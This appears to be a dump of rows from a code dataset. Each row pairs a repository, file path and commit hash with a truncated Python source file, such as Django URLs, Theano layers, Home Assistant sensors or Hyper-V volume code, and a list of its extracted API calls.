try: import json as simplejson
except: import simplejson
ADDONS = os.path.join(control.HOMEPATH, 'addons')
def currSkin():
return control.skin
def getOld(old):
try:
old = '"%s"' % old
quer... | [((170, 210), 'os.path.join', 'os.path.join', (['control.HOMEPATH', '"""addons"""'], {}), "(control.HOMEPATH, 'addons')\n", (182, 210), False, 'import os, re, shutil, time, xbmc\n'), ((2264, 2299), 'resources.lib.modules.control.log', 'control.log', (['"""[Default Skin Check]"""'], {}), "('[Default Skin Check]')\n", (2... |
bdraco/HAP-python | pyhap/characteristic.py | a2a5ce109d08af2f4f5bda4075f2176a98123806 | """
All things for a HAP characteristic.
A Characteristic is the smallest unit of the smart home, e.g.
a temperature measuring or a device status.
"""
import logging
from pyhap.const import (
HAP_PERMISSION_READ,
HAP_REPR_DESC,
HAP_REPR_FORMAT,
HAP_REPR_IID,
HAP_REPR_MAX_LEN,
HAP_REPR_PERM,
... | [((450, 477), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (467, 477), False, 'import logging\n')] |
linxi1158/iMIX | configs/_base_/datasets/uniter/vqa_dataset_uniter.py | af87a17275f02c94932bb2e29f132a84db812002 | dataset_type = 'UNITER_VqaDataset'
data_root = '/home/datasets/mix_data/UNITER/VQA/'
train_datasets = ['train']
test_datasets = ['minival'] # name not in use, but have defined one to run
vqa_cfg = dict(
train_txt_dbs=[
data_root + 'vqa_train.db',
data_root + 'vqa_trainval.db',
data_root +... | [] |
TonikX/ITMO_ICT_-WebProgramming_2020 | students/k3340/laboratory_works/laboratory_works/Arlakov_Denis/laboratiry_work_2_and_3/lab/django-react-ecommerce-master/home/urls.py | ba566c1b3ab04585665c69860b713741906935a0 | from django.conf import settings
from django.conf.urls.static import static
from django.contrib import admin
from django.urls import path, include, re_path
from django.views.generic import TemplateView
urlpatterns = [
path('api-auth/', include('rest_framework.urls')),
path('rest-auth/', include('rest_auth.urls... | [((406, 437), 'django.urls.path', 'path', (['"""admin/"""', 'admin.site.urls'], {}), "('admin/', admin.site.urls)\n", (410, 437), False, 'from django.urls import path, include, re_path\n'), ((524, 585), 'django.conf.urls.static.static', 'static', (['settings.MEDIA_URL'], {'document_root': 'settings.MEDIA_ROOT'}), '(set... |
karta1782310/python-docx-automated-report-generation | 20200416_Socialmail/mailserverUi.py | f0e02a50a9e9547d131e583be0711aad72f08b51 | #!/bin/bash
# -*- coding: UTF-8 -*-
# 基本控件都在这里面
from PyQt5.QtWebEngineWidgets import QWebEngineView
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QGridLayout, QMessageBox, QFileDialog,
QLabel, QLineEdit, QPushButton, QComboBox, QCheckBox, QDateTimeEdit,
... | [((22754, 22776), 'PyQt5.QtWidgets.QApplication', 'QApplication', (['sys.argv'], {}), '(sys.argv)\n', (22766, 22776), False, 'from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QGridLayout, QMessageBox, QFileDialog, QLabel, QLineEdit, QPushButton, QComboBox, QCheckBox, QDateTimeEdit, QTextEdit, QTabWidget,... |
317070/nntools | nntools/layers/corrmm.py | 00e2865b1f8246254b3adc22c37989a8b77718d5 | """
GpuCorrMM-based convolutional layers
"""
import numpy as np
import theano
import theano.tensor as T
from theano.sandbox.cuda.basic_ops import gpu_contiguous
from theano.sandbox.cuda.blas import GpuCorrMM
from .. import init
from .. import nonlinearities
from . import base
# base class for all layers that rely ... | [((2405, 2452), 'theano.sandbox.cuda.blas.GpuCorrMM', 'GpuCorrMM', ([], {'subsample': 'self.strides', 'pad': 'self.pad'}), '(subsample=self.strides, pad=self.pad)\n', (2414, 2452), False, 'from theano.sandbox.cuda.blas import GpuCorrMM\n'), ((3436, 3459), 'theano.sandbox.cuda.basic_ops.gpu_contiguous', 'gpu_contiguous'... |
dubey/weaver | tests/python/correctness/simple_test_aux_index.py | 56a42fd2d0bbb14867ba792ca5461d16310a7387 | #! /usr/bin/env python
#
# ===============================================================
# Description: Sanity check for fresh install.
#
# Created: 2014-08-12 16:42:52
#
# Author: Ayush Dubey, dubey@cs.cornell.edu
#
# Copyright (C) 2013, Cornell University, see the LICENSE file
# ... | [] |
dmr/Ldtools | ldtools/helpers.py | 9cc5474404a07bd4b7ad756d31306dfc37a39c7b | # -*- coding: utf-8 -*-
from __future__ import print_function, unicode_literals
try:
unicode
except NameError:
basestring = unicode = str # Python 3
import logging
import rdflib
from rdflib import compare
logger = logging.getLogger("ldtools")
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ = "\033[... | [((226, 254), 'logging.getLogger', 'logging.getLogger', (['"""ldtools"""'], {}), "('ldtools')\n", (243, 254), False, 'import logging\n'), ((1261, 1284), 'logging.StreamHandler', 'logging.StreamHandler', ([], {}), '()\n', (1282, 1284), False, 'import logging\n'), ((1335, 1354), 'logging.getLogger', 'logging.getLogger', ... |
AzzOnFire/flare-fakenet-ng | fakenet/diverters/debuglevels.py | bafd7e97b61cd43190dee7f1d2c3f4388488af76 | # Debug print levels for fine-grained debug trace output control
DNFQUEUE = (1 << 0) # netfilterqueue
DGENPKT = (1 << 1) # Generic packet handling
DGENPKTV = (1 << 2) # Generic packet handling with TCP analysis
DCB = (1 << 3) # Packet handlign callbacks
DPROCFS = (1 << 4) # procfs
DIPTBLS = (... | [] |
zhr1201/Multi-channel-speech-extraction-using-DNN | multichannel_lstm/train.py | 4e48869e02b815a8b094acc9251ac6586fda350c | '''
Script for training the model
'''
import tensorflow as tf
import numpy as np
from input import BatchGenerator
from model import MultiRnn
import time
from datetime import datetime
import os
import matplotlib as mpl
mpl.use('Agg')
from matplotlib import pyplot as plt
sum_dir = 'sum' # dir to write summary
train_di... | [((218, 232), 'matplotlib.use', 'mpl.use', (['"""Agg"""'], {}), "('Agg')\n", (225, 232), True, 'import matplotlib as mpl\n'), ((609, 706), 'model.MultiRnn', 'MultiRnn', (['cell_type', 'state_size', 'output_size', 'batch_size', 'num_layer', 'learning_rate', 'num_steps'], {}), '(cell_type, state_size, output_size, batch_... |
elsenorbw/dagster | python_modules/dagster/dagster/daemon/cli/__init__.py | b38822d7463812624dab0b2dae7c62e2a8d59828 | import os
import sys
import threading
import time
import warnings
from contextlib import ExitStack
import click
import pendulum
from dagster import __version__
from dagster.core.instance import DagsterInstance
from dagster.daemon.controller import (
DEFAULT_DAEMON_HEARTBEAT_TOLERANCE_SECONDS,
DagsterDaemonCont... | [((746, 835), 'click.command', 'click.command', ([], {'name': '"""run"""', 'help': '"""Run any daemons configured on the DagsterInstance."""'}), "(name='run', help=\n 'Run any daemons configured on the DagsterInstance.')\n", (759, 835), False, 'import click\n'), ((1486, 1572), 'click.command', 'click.command', ([], ... |
atklaus/sportsreference | tests/exhaustive/nfl_tests.py | 22a45ea83ce1608c3176f00d4f414d5b9463605c | import sys, os
sys.path.append(os.path.dirname(os.path.dirname(sys.path[0])))
from sportsreference.nfl.teams import Teams
for team in Teams():
print(team.name)
for player in team.roster.players:
print(player.name)
for game in team.schedule:
print(game.dataframe)
print(game.dataframe... | [((135, 142), 'sportsreference.nfl.teams.Teams', 'Teams', ([], {}), '()\n', (140, 142), False, 'from sportsreference.nfl.teams import Teams\n'), ((47, 75), 'os.path.dirname', 'os.path.dirname', (['sys.path[0]'], {}), '(sys.path[0])\n', (62, 75), False, 'import sys, os\n')] |
SerebryakovMA/quelea | rust-old/python/examples/map_fields.py | 4bac70d60852a454ad6533d08a02e018c75dc377 | import numpy as np
import matplotlib
import matplotlib.pyplot as plt
import sys
sys.path.append("../")
from quelea import *
nx = 217
ny = 133
x0 = 0
x1 = 30 # lambdas
y0 = 0
y1 = 20 # lambdas
xs = np.linspace(x0, x1, nx)
ys = np.linspace(y0, y1, ny)
# 2d array of (x, y, z, t)
coords = np.array( [ [x, y, 0, 0] for ... | [((81, 103), 'sys.path.append', 'sys.path.append', (['"""../"""'], {}), "('../')\n", (96, 103), False, 'import sys\n'), ((201, 224), 'numpy.linspace', 'np.linspace', (['x0', 'x1', 'nx'], {}), '(x0, x1, nx)\n', (212, 224), True, 'import numpy as np\n'), ((230, 253), 'numpy.linspace', 'np.linspace', (['y0', 'y1', 'ny'], ... |
t-kaichi/hyperspoof | test.py | 6effdf03be8489ba74154a12416c69948681aa51 | import os
from absl import app
from absl import flags
import numpy as np
import tqdm
from tensorflow.keras import Model
from albumentations import (
Compose, HorizontalFlip, RandomBrightness,RandomContrast,
ShiftScaleRotate, ToFloat, VerticalFlip)
from utils import reset_tf
from eval_utils import calc_score_v... | [((567, 589), 'utils.reset_tf', 'reset_tf', (['FLAGS.device'], {}), '(FLAGS.device)\n', (575, 589), False, 'from utils import reset_tf\n'), ((604, 637), 'VegetableSequence.VegetableDataset', 'VegetableDataset', (['FLAGS.data_path'], {}), '(FLAGS.data_path)\n', (620, 637), False, 'from VegetableSequence import Vegetable... |
TheJacksonLaboratory/jaxid_generator | generator/apps.py | be5222d9c5ce57a169b94b0afd1ae9f7f10a66c1 | from django.conf import settings
from suit import apps
from suit.apps import DjangoSuitConfig
from suit.menu import ParentItem, ChildItem
APP_NAME = settings.APP_NAME
WIKI_URL = settings.WIKI_URL
class SuitConfig(DjangoSuitConfig):
name = 'suit'
verbose_name = 'Mbiome Core JAXid Generator'
site_title = '... | [((1411, 1586), 'suit.menu.ParentItem', 'ParentItem', ([], {'label': '"""Generate new JAXids"""', 'url': 'f"""/{APP_NAME}/manage/id_generate/jaxiddetail/import/"""', 'permissions': '"""id_generate.change_jaxiddetail"""', 'icon': '"""fa fa-rocket"""'}), "(label='Generate new JAXids', url=\n f'/{APP_NAME}/manage/id_ge... |
awai54st/LUTNet | tiled-lutnet/training-software/MNIST-CIFAR-SVHN/models/MNIST/scripts/lutnet_init.py | 81b044f31d1131bee1a7fae41fc4d2fb102ea73a | import h5py
import numpy as np
np.set_printoptions(threshold=np.nan)
from shutil import copyfile
copyfile("dummy_lutnet.h5", "pretrained_bin.h5") # create pretrained.h5 using datastructure from dummy.h5
bl = h5py.File("baseline_pruned.h5", 'r')
#dummy = h5py.File("dummy.h5", 'r')
pretrained = h5py.File("pretrained_b... | [((31, 68), 'numpy.set_printoptions', 'np.set_printoptions', ([], {'threshold': 'np.nan'}), '(threshold=np.nan)\n', (50, 68), True, 'import numpy as np\n'), ((99, 147), 'shutil.copyfile', 'copyfile', (['"""dummy_lutnet.h5"""', '"""pretrained_bin.h5"""'], {}), "('dummy_lutnet.h5', 'pretrained_bin.h5')\n", (107, 147), Fa... |
wangyum/anaconda | pkgs/nltk-3.2-py27_0/lib/python2.7/site-packages/nltk/classify/weka.py | 6e5a0dbead3327661d73a61e85414cf92aa52be6 | # Natural Language Toolkit: Interface to Weka Classsifiers
#
# Copyright (C) 2001-2015 NLTK Project
# Author: Edward Loper <edloper@gmail.com>
# URL: <http://nltk.org/>
# For license information, see LICENSE.TXT
"""
Classifiers that make use of the external 'Weka' package.
"""
from __future__ import print_fu... | [((916, 929), 'nltk.internals.config_java', 'config_java', ([], {}), '()\n', (927, 929), False, 'from nltk.internals import java, config_java\n'), ((12913, 12968), 'nltk.classify.util.names_demo', 'names_demo', (['make_classifier', 'binary_names_demo_features'], {}), '(make_classifier, binary_names_demo_features)\n', (... |
pg428/SIB | src/si/data/dataset.py | b887c2011eb3a04d119a93b3932785d182e331d3 | import pandas as pd
import numpy as np
from src.si.util.util import label_gen
__all__ = ['Dataset']
class Dataset:
def __init__(self, X=None, Y=None,
xnames: list = None,
yname: str = None):
""" Tabular Dataset"""
if X is None:
raise Exception("Trying ... | [((878, 916), 'numpy.genfromtxt', 'np.genfromtxt', (['filename'], {'delimiter': 'sep'}), '(filename, delimiter=sep)\n', (891, 916), True, 'import numpy as np\n'), ((2885, 2928), 'numpy.savetxt', 'np.savetxt', (['filename', 'fullds'], {'delimiter': 'sep'}), '(filename, fullds, delimiter=sep)\n', (2895, 2928), True, 'imp... |
RonaldHiemstra/micropython-stubs | stubs/m5stack_flowui-1_4_0-beta/display.py | d97f879b01f6687baaebef1c7e26a80909c3cff3 | """
Module: 'display' on M5 FlowUI v1.4.0-beta
"""
# MCU: (sysname='esp32', nodename='esp32', release='1.11.0', version='v1.11-284-g5d8e1c867 on 2019-08-30', machine='ESP32 module with ESP32')
# Stubber: 1.3.1
class TFT:
''
BLACK = 0
BLUE = 255
BMP = 2
BOTTOM = -9004
CENTER = -9003
COLOR_BI... | [] |
dmoore247/db-migration | dbclient/__init__.py | cc75d491d7dd7e9e24b5a35dd3d1080317b25520 | import json, requests, datetime
from cron_descriptor import get_description
from .dbclient import dbclient
from .JobsClient import JobsClient
from .ClustersClient import ClustersClient
from .WorkspaceClient import WorkspaceClient
from .ScimClient import ScimClient
from .LibraryClient import LibraryClient
from .HiveCli... | [] |
peerke88/SkinningTools | UI/ControlSlider/__init__.py | db761f569ba179231dc64183ebfca1684429ab96 | # -*- coding: utf-8 -*-
# SkinWeights command and component editor
# Copyright (C) 2018 Trevor van Hoof
# Website: http://www.trevorius.com
#
# pyqt attribute sliders
# Copyright (C) 2018 Daniele Niero
# Website: http://danieleniero.com/
#
# neighbour finding algorythm
# Copyright (C) 2018 Jan Pijpers
# Webs... | [] |
EuleMitKeule/core | homeassistant/components/fritz/sensor.py | 3af54d96c7dcc3f7087d1196e6ab0db029301ee7 | """AVM FRITZ!Box binary sensors."""
from __future__ import annotations
from collections.abc import Callable
from dataclasses import dataclass
from datetime import datetime, timedelta
import logging
from typing import Any, Literal
from fritzconnection.core.exceptions import (
FritzActionError,
FritzActionFaile... | [((1174, 1201), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (1191, 1201), False, 'import logging\n'), ((1355, 1363), 'homeassistant.util.dt.utcnow', 'utcnow', ([], {}), '()\n', (1361, 1363), False, 'from homeassistant.util.dt import utcnow\n'), ((1366, 1399), 'datetime.timedelta', 'tim... |
gsimon75/IFC_parser | Ifc/IfcBase.py | f9fbe2afa48795bbb502530bc9ab5c4db842e10f | from Ifc.ClassRegistry import ifc_class, ifc_abstract_class, ifc_fallback_class
@ifc_abstract_class
class IfcEntity:
"""
Generic IFC entity, only for subclassing from it
"""
def __init__(self, rtype, args):
"""
rtype: Resource type
args: Arguments in *reverse* order, so you can... | [] |
xe1gyq/stx-utils | middleware/io-monitor/recipes-common/io-monitor/io-monitor/io_monitor/utils/data_collector.py | 93b7f7dc2c6732db8c8ae0eb3f52ace4df714dc9 | # vim: tabstop=4 shiftwidth=4 softtabstop=4
#
# Copyright (c) 2016 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
import logging
import os
from io_monitor.constants import DOMAIN
from io_monitor.utils.data_window import DataCollectionWindow
LOG = logging.getLogger(DOMAIN)
class DeviceDataCollec... | [((270, 295), 'logging.getLogger', 'logging.getLogger', (['DOMAIN'], {}), '(DOMAIN)\n', (287, 295), False, 'import logging\n'), ((739, 793), 'os.path.exists', 'os.path.exists', (["('/sys/block/' + self.node + '/dm/name')"], {}), "('/sys/block/' + self.node + '/dm/name')\n", (753, 793), False, 'import os\n'), ((1336, 13... |
SoumyaBarikeri/transformers | examples/language-modeling/debias_lm_hps_tune.py | 996c6e113404000f50444287aa8a31a174ebd92f | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a cop... | [((1941, 1955), 'ray.shutdown', 'ray.shutdown', ([], {}), '()\n', (1953, 1955), False, 'import ray\n'), ((1956, 2010), 'ray.init', 'ray.init', ([], {'log_to_driver': '(True)', 'ignore_reinit_error': '(True)'}), '(log_to_driver=True, ignore_reinit_error=True)\n', (1964, 2010), False, 'import ray\n'), ((2021, 2048), 'log... |
pgp/RootHelperClientTestInteractions | checksums.py | 6b9e9cc9f10eb2bf9b9dafa851ed56005f7666b5 | from net_common import *
import struct
import sys
def getDirHashOpts(withNames=False,
ignoreThumbsFiles=True,
ignoreUnixHiddenFiles=True,
ignoreEmptyDirs=True):
return bytearray([((1 if withNames else 0) +
(2 if ignoreThumbsFiles else ... | [((1201, 1212), 'sys.exit', 'sys.exit', (['(0)'], {}), '(0)\n', (1209, 1212), False, 'import sys\n')] |
uktrade/pir-api | investment_report/migrations/0020_auto_20180911_1005.py | 79747ceab042c42c287e2b7471f6dade70f68693 | # -*- coding: utf-8 -*-
# Generated by Django 1.11.13 on 2018-09-11 10:05
from __future__ import unicode_literals
import config.s3
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('investment_report', '0019_auto_20180820_1304'),
]
operations = [
... | [((434, 575), 'django.db.models.URLField', 'models.URLField', ([], {'default': '"""https://invest.great.gov.uk/contact/"""', 'help_text': '"""Custom link for website (used for tracking)"""', 'max_length': '(255)'}), "(default='https://invest.great.gov.uk/contact/', help_text=\n 'Custom link for website (used for tra... |
whalesalad/filprofiler | tests/test-scripts/threadpools.py | 9c12cbe62ad1fed5d59d923013739bb3377bc24c | """Validate that number of threads in thread pools is set to 1."""
import numexpr
import blosc
import threadpoolctl
# APIs that return previous number of threads:
assert numexpr.set_num_threads(2) == 1
assert blosc.set_nthreads(2) == 1
for d in threadpoolctl.threadpool_info():
assert d["num_threads"] == 1, d
| [((248, 279), 'threadpoolctl.threadpool_info', 'threadpoolctl.threadpool_info', ([], {}), '()\n', (277, 279), False, 'import threadpoolctl\n'), ((172, 198), 'numexpr.set_num_threads', 'numexpr.set_num_threads', (['(2)'], {}), '(2)\n', (195, 198), False, 'import numexpr\n'), ((211, 232), 'blosc.set_nthreads', 'blosc.set... |
David-McKenna/AntPat | scripts/viewStokespat.py | 45618659994b27e2654f1effd6d9baa15867b6d3 | #!/usr/bin/env python
"""A simple viewer for Stokes patterns based on two far-field pattern files.
(Possibly based on one FF pattern files if it has two requests: one for each
polarization channel.)"""
import os
import argparse
import numpy
import matplotlib.pyplot as plt
from antpat.reps.sphgridfun.tvecfun import TVec... | [((755, 810), 'numpy.real', 'numpy.real', (['(brightmat[..., 0, 0] + brightmat[..., 1, 1])'], {}), '(brightmat[..., 0, 0] + brightmat[..., 1, 1])\n', (765, 810), False, 'import numpy\n'), ((819, 874), 'numpy.real', 'numpy.real', (['(brightmat[..., 0, 0] - brightmat[..., 1, 1])'], {}), '(brightmat[..., 0, 0] - brightmat... |
lingjiao10/Facial-Expression-Recognition.Pytorch | utils.py | f5ba0e527347af3778d44eb7045e4970d01641a6 | '''Some helper functions for PyTorch, including:
- progress_bar: progress bar mimic xlua.progress.
- set_lr : set the learning rate
- clip_gradient : clip gradient
'''
import os
import sys
import time
import math
import torch
import torch.nn as nn
import torch.nn.init as init
from torch.autogr... | [((587, 598), 'time.time', 'time.time', ([], {}), '()\n', (596, 598), False, 'import time\n'), ((971, 993), 'sys.stdout.write', 'sys.stdout.write', (['""" ["""'], {}), "(' [')\n", (987, 993), False, 'import sys\n'), ((1060, 1081), 'sys.stdout.write', 'sys.stdout.write', (['""">"""'], {}), "('>')\n", (1076, 1081), False... |
delemottelab/gpcr-string-method-2019 | string-method/src/analysis/FE_analysis/index_converter.py | b50786a4a8747d56ad04ede525592eb31f1890fd | from __future__ import absolute_import, division, print_function
import logging
import sys
logging.basicConfig(
stream=sys.stdout,
level=logging.DEBUG,
format='%(asctime)s %(name)s-%(levelname)s: %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
import numpy as np
import utils
logger = logging.getLogger("ind... | [((93, 249), 'logging.basicConfig', 'logging.basicConfig', ([], {'stream': 'sys.stdout', 'level': 'logging.DEBUG', 'format': '"""%(asctime)s %(name)s-%(levelname)s: %(message)s"""', 'datefmt': '"""%Y-%m-%d %H:%M:%S"""'}), "(stream=sys.stdout, level=logging.DEBUG, format=\n '%(asctime)s %(name)s-%(levelname)s: %(mess... |
andersontmachado/ExerciciosPython | Ex029 Aula 11-Cores no Terminal.py | ebd93eb4127dadedee8b719ccc4bc20fc151d0ad | print('\033[7;30mOla mundo\033[m!!!')
| [] |
pavoljuhas/Cirq | cirq-pasqal/cirq_pasqal/pasqal_device.py | b6d6577be61d216ce2f29f8c64ae5879cf3087d5 | # Copyright 2020 The Cirq Developers
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | [((10990, 11116), 'cirq._compat.deprecated_class', '_compat.deprecated_class', ([], {'deadline': '"""v0.16"""', 'fix': '"""Use cirq.optimize_for_target_gateset(circuit, gateset=PasqalGateset())."""'}), "(deadline='v0.16', fix=\n 'Use cirq.optimize_for_target_gateset(circuit, gateset=PasqalGateset()).')\n", (11014, 1... |
huwjenkins/dials | command_line/show.py | 885a2f6ea3900dd0c9fcc15c03561fb45452c3bb | import os
import sys
import numpy as np
import iotbx.phil
from cctbx import uctbx
from dxtbx.model.experiment_list import ExperimentListFactory
from scitbx.math import five_number_summary
import dials.util
from dials.array_family import flex
from dials.util import Sorry, tabulate
help_message = """
Examples::
d... | [((5530, 5703), 'dials.util.options.OptionParser', 'OptionParser', ([], {'usage': 'usage', 'phil': 'phil_scope', 'read_experiments': '(True)', 'read_experiments_from_images': '(True)', 'read_reflections': '(True)', 'check_format': '(False)', 'epilog': 'help_message'}), '(usage=usage, phil=phil_scope, read_experiments=T... |
OuissalTAIM/jenkins | app/config/env_jesa.py | 7ea5bcdeb6c0bb3cc14c2826a68e4f521de163c1 | # -*- coding: utf-8 -*-
from enum import Enum, IntEnum, unique
import os
APP_NAME = "mine2farm"
NETWORK_NAME = "CenterAxis"
LOG_LEVEL_CONSOLE = "WARNING"
LOG_LEVEL_FILE = "INFO"
APP_FOLDER = os.getenv("JESA_MINE2FARM_HOME", "C:/GitRepos/mine2farm/")
LOG_FOLDER = APP_FOLDER + "app/log/"
LOG_FILE = "%(asctime)_" + AP... | [((195, 253), 'os.getenv', 'os.getenv', (['"""JESA_MINE2FARM_HOME"""', '"""C:/GitRepos/mine2farm/"""'], {}), "('JESA_MINE2FARM_HOME', 'C:/GitRepos/mine2farm/')\n", (204, 253), False, 'import os\n')] |
cankush625/Django | myFirstApp/travello/models.py | a3e874a69fbf34bf9123a7d60697a2449c7591c6 | from django.db import models
# Create your models here.
class Destination(models.Model) :
name = models.CharField(max_length = 100)
img = models.ImageField(upload_to = 'pics')
desc = models.TextField()
price = models.IntegerField()
offer = models.BooleanField(default = False)
class News()... | [((103, 135), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(100)'}), '(max_length=100)\n', (119, 135), False, 'from django.db import models\n'), ((148, 183), 'django.db.models.ImageField', 'models.ImageField', ([], {'upload_to': '"""pics"""'}), "(upload_to='pics')\n", (165, 183), False, 'from ... |
Moustique-bot/hands-on-2021 | app/app.py | fd023f0a431f72ef2c48e3a469be42e2de9e2957 | import base64
import io
import dash
import dash_core_components as dcc
import dash_html_components as html
import dash_bootstrap_components as dbc
from dash.dependencies import Input, Output
import numpy as np
import tensorflow as tf
from PIL import Image
from constants import CLASSES
import yaml
with open('app.ya... | [((524, 562), 'tensorflow.keras.models.load_model', 'tf.keras.models.load_model', (['PATH_MODEL'], {}), '(PATH_MODEL)\n', (550, 562), True, 'import tensorflow as tf\n'), ((1083, 1171), 'dash.Dash', 'dash.Dash', (['"""Traffic Signs Recognition"""'], {'external_stylesheets': '[dbc.themes.BOOTSTRAP]'}), "('Traffic Signs R... |
NobukoYano/LibraryApp | books/rakutenapi.py | 623f60614f15ab760e1c0d2f18954ce948f2d2a3 | import json
import requests
from django.conf import settings
class rakuten:
def get_json(self, isbn: str) -> dict:
appid = settings.RAKUTEN_APP_ID
# API request template
api = "https://app.rakuten.co.jp/services/api/BooksTotal/"\
"Search/20170404?format=json&isbnjan={isbnj... | [((478, 495), 'requests.get', 'requests.get', (['url'], {}), '(url)\n', (490, 495), False, 'import requests\n'), ((685, 703), 'json.loads', 'json.loads', (['r.text'], {}), '(r.text)\n', (695, 703), False, 'import json\n')] |
naumoff0/Archive | Random-Programs/optimization/root/v4.py | d4ad2da89abb1576dd5a7c72ded6bf9b45c3f610 | print(int(input(""))**0.5) | [] |
rsdoherty/azure-sdk-for-python | sdk/authorization/azure-mgmt-authorization/azure/mgmt/authorization/v2018_01_01_preview/models/_models_py3.py | 6bba5326677468e6660845a703686327178bb7b1 | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | [] |
pa-one-patel/college_managenment | school/views.py | be6f6dcac1f7e01f71d95f445e2118e8eec3fe3a | from django.shortcuts import render,redirect,reverse
from . import forms,models
from django.db.models import Sum
from django.contrib.auth.models import Group
from django.http import HttpResponseRedirect
from django.contrib.auth.decorators import login_required,user_passes_test
def home_view(request):
if request.us... | [((4290, 4328), 'django.contrib.auth.decorators.login_required', 'login_required', ([], {'login_url': '"""adminlogin"""'}), "(login_url='adminlogin')\n", (4304, 4328), False, 'from django.contrib.auth.decorators import login_required, user_passes_test\n'), ((4330, 4356), 'django.contrib.auth.decorators.user_passes_test... |
weiwei1115/models | PaddleCV/tracking/pytracking/features/deep.py | e2c96c5f64b1dc8f0d5d9aa121300b87150e11e3 | import os
import numpy as np
from paddle import fluid
from ltr.models.bbreg.atom import atom_resnet50, atom_resnet18
from ltr.models.siamese.siam import siamfc_alexnet
from ltr.models.siam.siam import SiamRPN_AlexNet, SiamMask_ResNet50_sharp, SiamMask_ResNet50_base
from pytracking.admin.environment import env... | [((2621, 2669), 'numpy.reshape', 'np.reshape', (['[0.485, 0.456, 0.406]', '[1, -1, 1, 1]'], {}), '([0.485, 0.456, 0.406], [1, -1, 1, 1])\n', (2631, 2669), True, 'import numpy as np\n'), ((2690, 2738), 'numpy.reshape', 'np.reshape', (['[0.229, 0.224, 0.225]', '[1, -1, 1, 1]'], {}), '([0.229, 0.224, 0.225], [1, -1, 1, 1]... |
fakeNetflix/facebook-repo-fbkutils | netesto/local/psPlot.py | 16ec0c024322c163e7dbe691812ba8fdf5b511ad | #!/usr/bin/env python2
import sys
import random
import os.path
import shutil
import commands
import types
import math
#gsPath = '/usr/local/bin/gs'
gsPath = 'gs'
logFile = '/dev/null'
#logFile = 'plot.log'
#--- class PsPlot(fname, pageHeader, pageSubHeader, plotsPerPage)
#
class PsPlot(object):
def __init__(self... | [] |
hamole/physio2go | physio2go/exercises/migrations/0003_auto_20161128_1753.py | ebd14c9406e2b6818dc649e4863a734bf812e9b0 | # -*- coding: utf-8 -*-
# Generated by Django 1.10.3 on 2016-11-28 06:53
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('exercises', '0002_auto_20161128_1718'),
]
operations = [
migrations.RenameModel(
... | [((294, 359), 'django.db.migrations.RenameModel', 'migrations.RenameModel', ([], {'old_name': '"""Exercises"""', 'new_name': '"""Exercise"""'}), "(old_name='Exercises', new_name='Exercise')\n", (316, 359), False, 'from django.db import migrations\n')] |
pasinskim/mender-python-client | setup.py | d6f3dc86ec46b0b249a112c5037bea579266e649 | # Copyright 2021 Northern.tech AS
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [((781, 823), 're.search', 're.search', (['VSRE', 'version_string_line', 're.M'], {}), '(VSRE, version_string_line, re.M)\n', (790, 823), False, 'import re\n'), ((1697, 1734), 'setuptools.find_packages', 'setuptools.find_packages', ([], {'where': '"""src"""'}), "(where='src')\n", (1721, 1734), False, 'import setuptools... |
Linchin/python_leetcode_git | Q295-v2.py | 3d08ab04bbdbd2ce268f33c501fbb149662872c7 | """
295
find median from data stream
hard
"""
from heapq import *
class MedianFinder:
# max heap and min heap
def __init__(self):
"""
initialize your data structure here.
"""
self.hi = []
self.lo = []
def addNum(self, num: int) -> None:
heappush(self.lo,... | [] |
mstoelzle/raisimLib | raisimPy/examples/newtonsCradle.py | 81f33a1b82f296e9622f950bc292f61bee2d2c2f | import os
import numpy as np
import raisimpy as raisim
import math
import time
raisim.World.setLicenseFile(os.path.dirname(os.path.abspath(__file__)) + "/../../rsc/activation.raisim")
world = raisim.World()
ground = world.addGround()
world.setTimeStep(0.001)
world.setMaterialPairProp("steel", "steel", 0.1, 1.0, 0.0)
... | [((193, 207), 'raisimpy.World', 'raisim.World', ([], {}), '()\n', (205, 207), True, 'import raisimpy as raisim\n'), ((1539, 1657), 'numpy.array', 'np.array', (['[-3, 0, 4.54, 1.0, 0.0, 0.0, 0.0, 0.03, 0.4, -0.8, -0.03, 0.4, -0.8, 0.03, \n -0.4, 0.8, -0.03, -0.4, 0.8]'], {}), '([-3, 0, 4.54, 1.0, 0.0, 0.0, 0.0, 0.03,... |
viveknandavanam/nova | nova/virt/hyperv/volumeops.py | 556377b6915936467436c9d5bb33bc0e22244e1e | # Copyright 2012 Pedro Navarro Perez
# Copyright 2013 Cloudbase Solutions Srl
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org... | [((1090, 1117), 'oslo_log.log.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (1107, 1117), True, 'from oslo_log import log as logging\n'), ((1274, 1300), 'os_win.utilsfactory.get_vmutils', 'utilsfactory.get_vmutils', ([], {}), '()\n', (1298, 1300), False, 'from os_win import utilsfactory\n'), ((20... |
